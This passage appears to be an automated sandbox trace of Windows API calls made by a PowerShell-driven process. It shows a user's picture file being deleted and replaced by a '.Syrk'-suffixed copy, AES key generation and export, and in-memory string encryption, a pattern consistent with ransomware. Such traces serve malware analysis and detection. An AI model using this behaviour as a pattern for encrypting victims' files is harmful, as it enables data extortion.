lpFilePart=0x0) returned 0x9 [0254.758] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0254.758] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.759] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0254.759] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.759] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0254.759] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 0x20 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0254.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.762] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.763] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0254.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0254.763] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0254.763] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0254.763] CoTaskMemFree (pv=0x3b0008) [0254.764] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 0x20 [0254.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0254.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif"), fInfoLevelId=0x0, lpFileInformation=0x25399b8 | out: lpFileInformation=0x25399b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b271fe0, ftCreationTime.dwHighDateTime=0x1d98e0b, ftLastAccessTime.dwLowDateTime=0xf2ccd990, ftLastAccessTime.dwHighDateTime=0x1d9919b, ftLastWriteTime.dwLowDateTime=0xf2ccd990, ftLastWriteTime.dwHighDateTime=0x1d9919b, nFileSizeHigh=0x0, nFileSizeLow=0xb2cd)) returned 1 [0254.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0254.765] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 1 [0254.767] EtwEventActivityIdControl () returned 0x0 [0254.767] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.768] EtwEventActivityIdControl () returned 0x0 [0254.768] EtwEventActivityIdControl () returned 0x0 [0254.768] EtwEventActivityIdControl () returned 0x0 [0254.774] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif.syrk")) returned 0x20 [0254.775] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif.syrk")) returned 0x20 [0254.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0254.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", lpFilePart=0x0) returned 0x34 [0254.776] EtwEventActivityIdControl () returned 0x0 [0254.776] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.776] EtwEventActivityIdControl () returned 0x0 [0254.776] EtwEventActivityIdControl () returned 0x0 [0254.777] EtwEventActivityIdControl () returned 0x0 [0254.780] EtwEventActivityIdControl () returned 0x0 [0254.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.781] EtwEventActivityIdControl () returned 0x0 [0254.781] EtwEventActivityIdControl () returned 0x0 [0254.781] EtwEventActivityIdControl () returned 0x0 [0254.784] EtwEventActivityIdControl () returned 0x0 [0254.808] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.809] EtwEventActivityIdControl () returned 0x0 [0254.809] EtwEventActivityIdControl () returned 0x0 [0254.809] EtwEventActivityIdControl () returned 0x0 [0254.812] EtwEventActivityIdControl () returned 0x0 [0254.812] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.813] EtwEventActivityIdControl () returned 0x0 [0254.813] EtwEventActivityIdControl () returned 0x0 [0254.813] EtwEventActivityIdControl () returned 0x0 [0254.820] EtwEventActivityIdControl () returned 0x0 [0254.820] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.820] EtwEventActivityIdControl () returned 0x0 [0254.820] EtwEventActivityIdControl () returned 0x0 [0254.820] EtwEventActivityIdControl () returned 0x0 [0254.824] EtwEventActivityIdControl () returned 0x0 [0254.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0254.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2543628 | out: lpFileInformation=0x2543628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x136d8f30, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x136d8f30, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x136d8f30, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb2e4)) returned 1 [0254.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0254.829] GetConsoleOutputCP () returned 0x1b5 [0254.829] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.829] GetConsoleOutputCP () returned 0x1b5 [0254.829] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.829] GetConsoleOutputCP () returned 0x1b5 [0254.829] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.830] GetConsoleOutputCP () returned 0x1b5 [0254.830] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.830] GetConsoleOutputCP () returned 0x1b5 [0254.830] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.830] GetConsoleOutputCP () returned 0x1b5 [0254.830] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.830] GetConsoleOutputCP () returned 0x1b5 [0254.830] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.830] GetConsoleOutputCP () returned 0x1b5 [0254.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.831] GetConsoleOutputCP () returned 0x1b5 [0254.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.831] GetConsoleOutputCP () returned 0x1b5 [0254.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.831] GetConsoleOutputCP () returned 0x1b5 [0254.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.831] GetConsoleOutputCP () returned 0x1b5 [0254.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.832] GetConsoleOutputCP () returned 0x1b5 [0254.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0254.832] GetConsoleOutputCP () returned 0x1b5 [0254.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0254.832] GetConsoleOutputCP () returned 0x1b5 [0254.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.832] GetConsoleOutputCP () returned 0x1b5 [0254.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0254.833] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0254.833] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.833] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255d298*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x255d298*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0254.834] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0254.834] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0254.835] EtwEventActivityIdControl () returned 0x0 [0254.835] EtwEventActivityIdControl () returned 0x0 [0254.835] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.836] EtwEventActivityIdControl () returned 0x0 [0254.836] EtwEventActivityIdControl () returned 0x0 [0254.836] EtwEventActivityIdControl () returned 0x0 [0254.837] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.838] EtwEventActivityIdControl () returned 0x0 [0254.838] EtwEventActivityIdControl () returned 0x0 [0254.838] EtwEventActivityIdControl () returned 0x0 [0254.840] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cdd0) returned 1 [0254.841] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999e0) returned 1 [0254.841] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.841] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.841] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2564c70, pdwDataLen=0x5a2e8c4 | out: pbData=0x2564c70*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0254.842] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.842] EtwEventActivityIdControl () returned 0x0 [0254.842] EtwEventActivityIdControl () returned 0x0 [0254.842] EtwEventActivityIdControl () returned 0x0 [0254.843] SysStringLen (param_1="") returned 0x8 [0254.843] SysStringLen (param_1="A") returned 0x8 [0254.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.843] SysStringLen (param_1="စ漜臤掼㲤䛯觋") returned 0x8 [0254.843] SysStringLen (param_1="စ漜臤掼㲤䛯觋") returned 0x8 [0254.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.843] SysStringLen (param_1="AN") returned 0x8 [0254.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.844] SysStringLen (param_1="⾎恖虆叽潐撌") returned 0x8 [0254.844] SysStringLen (param_1="⾎恖虆叽潐撌") returned 0x8 [0254.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.844] SysStringLen (param_1="ANG") returned 0x8 [0254.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.844] SysStringLen (param_1="훡㊌ꭧ⨴䎠ჷ") returned 0x8 [0254.844] SysStringLen (param_1="훡㊌ꭧ⨴䎠ჷ") returned 0x8 [0254.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.844] SysStringLen (param_1="ANGd") returned 0x8 [0254.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.844] SysStringLen (param_1="뷹⨀饅͚폺⭓ӻ") returned 0x8 [0254.844] SysStringLen (param_1="뷹⨀饅͚폺⭓ӻ") returned 0x8 [0254.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="ANGdD") returned 0x8 [0254.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="㭡槧혐\˟쉱鑵屢⋝) returned 0x8 [0254.845] SysStringLen (param_1="㭡槧혐\˟쉱鑵屢⋝) returned 0x8 [0254.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="ANGdDX") returned 0x8 [0254.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="뛭蘂咾ẖ陉ᓏ绬⣏") returned 0x8 [0254.845] SysStringLen (param_1="뛭蘂咾ẖ陉ᓏ绬⣏") returned 0x8 [0254.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="ANGdDXE") returned 0x8 [0254.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.845] SysStringLen (param_1="⇞럵뉥飓씿╔") returned 0x8 [0254.845] SysStringLen (param_1="⇞럵뉥飓씿╔") returned 0x8 [0254.846] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.846] SysStringLen (param_1="ANGdDXEv") returned 0x8 [0254.846] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.846] SysStringLen (param_1="⟳鮎㇪౶\볔⋧) returned 0x8 [0254.846] SysStringLen (param_1="⟳鮎㇪౶\볔⋧) returned 0x8 [0254.846] SysStringLen (param_1="⟳鮎㇪౶\볔⋧) returned 0x8 [0254.847] SysStringLen (param_1="⟳鮎㇪౶\볔⋧) returned 0x10 [0254.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.847] SysStringLen (param_1="ANGdDXEv1ꌛ䚃倐螙溻ꞛ⪇") returned 0x10 [0254.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.847] SysStringLen (param_1="⟳鮎㇪౶\볔៧怜禕솔√蚂∿) returned 0x10 [0254.847] SysStringLen (param_1="⟳鮎㇪౶\볔៧怜禕솔√蚂∿) returned 0x10 [0254.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.847] SysStringLen (param_1="ANGdDXEv1o䚃倐螙溻ꞛ⪇") returned 0x10 [0254.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.847] SysStringLen (param_1="⟳鮎㇪౶\볔雧㹡謵⠙踍ꬫ磘≀) returned 0x10 [0254.848] SysStringLen (param_1="⟳鮎㇪౶\볔雧㹡謵⠙踍ꬫ磘≀) returned 0x10 [0254.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.848] SysStringLen (param_1="ANGdDXEv1oy倐螙溻ꞛ⪇") returned 0x10 [0254.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.848] SysStringLen (param_1="⟳鮎㇪౶\볔勧䌐\ො徠腛㵀욷") returned 0x10 [0254.848] SysStringLen (param_1="⟳鮎㇪౶\볔勧䌐\ො徠腛㵀욷") returned 0x10 [0254.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.848] SysStringLen (param_1="ANGdDXEv1oyo螙溻ꞛ⪇") returned 0x10 [0254.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.848] SysStringLen (param_1="⟳鮎㇪౶\볔髧҉쟏誜膥⧿♳⋮) returned 0x10 [0254.848] SysStringLen (param_1="⟳鮎㇪౶\볔髧҉쟏誜膥⧿♳⋮) returned 0x10 [0254.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.848] SysStringLen (param_1="ANGdDXEv1oyoo溻ꞛ⪇") returned 0x10 [0254.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔ӧ᷍블쓊▽凄撘ມ⊰) returned 0x10 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔ӧ᷍블쓊▽凄撘ມ⊰) returned 0x10 [0254.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.849] SysStringLen (param_1="ANGdDXEv1oyookꞛ⪇") returned 0x10 [0254.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔懧薜渚敐㿧\ꛚ") returned 0x10 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔懧薜渚敐㿧\ꛚ") returned 0x10 [0254.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.849] SysStringLen (param_1="ANGdDXEv1oyookx⪇") returned 0x10 [0254.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔糧銦诮㘕祇捺잧욆⋒) returned 0x10 [0254.849] SysStringLen (param_1="⟳鮎㇪౶\볔糧銦诮㘕祇捺잧욆⋒) returned 0x10 [0254.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.850] SysStringLen (param_1="ANGdDXEv1oyookx5") returned 0x10 [0254.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.850] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⊌) returned 0x10 [0254.850] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⊌) returned 0x10 [0254.850] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⊌) returned 0x10 [0254.850] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⊌) returned 0x18 [0254.850] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.851] SysStringLen (param_1="ANGdDXEv1oyookx5eᥑ櫜뽙䆝") returned 0x18 [0254.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.851] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ㯧⺇ꉽ愙଱쳂∽) returned 0x18 [0254.851] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ㯧⺇ꉽ愙଱쳂∽) returned 0x18 [0254.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.851] SysStringLen (param_1="ANGdDXEv1oyookx5eK櫜뽙䆝") returned 0x18 [0254.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.851] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ碌ଥꫨோ】胙ꁯ暲⊚) returned 0x18 [0254.851] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ碌ଥꫨோ】胙ꁯ暲⊚) returned 0x18 [0254.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.851] SysStringLen (param_1="ANGdDXEv1oyookx5eKp櫜뽙䆝") returned 0x18 [0254.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ厌띹\毜젖ཱུ昵儭") returned 0x18 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ厌띹\毜젖ཱུ昵儭") returned 0x18 [0254.852] SystemFunction041 (in: 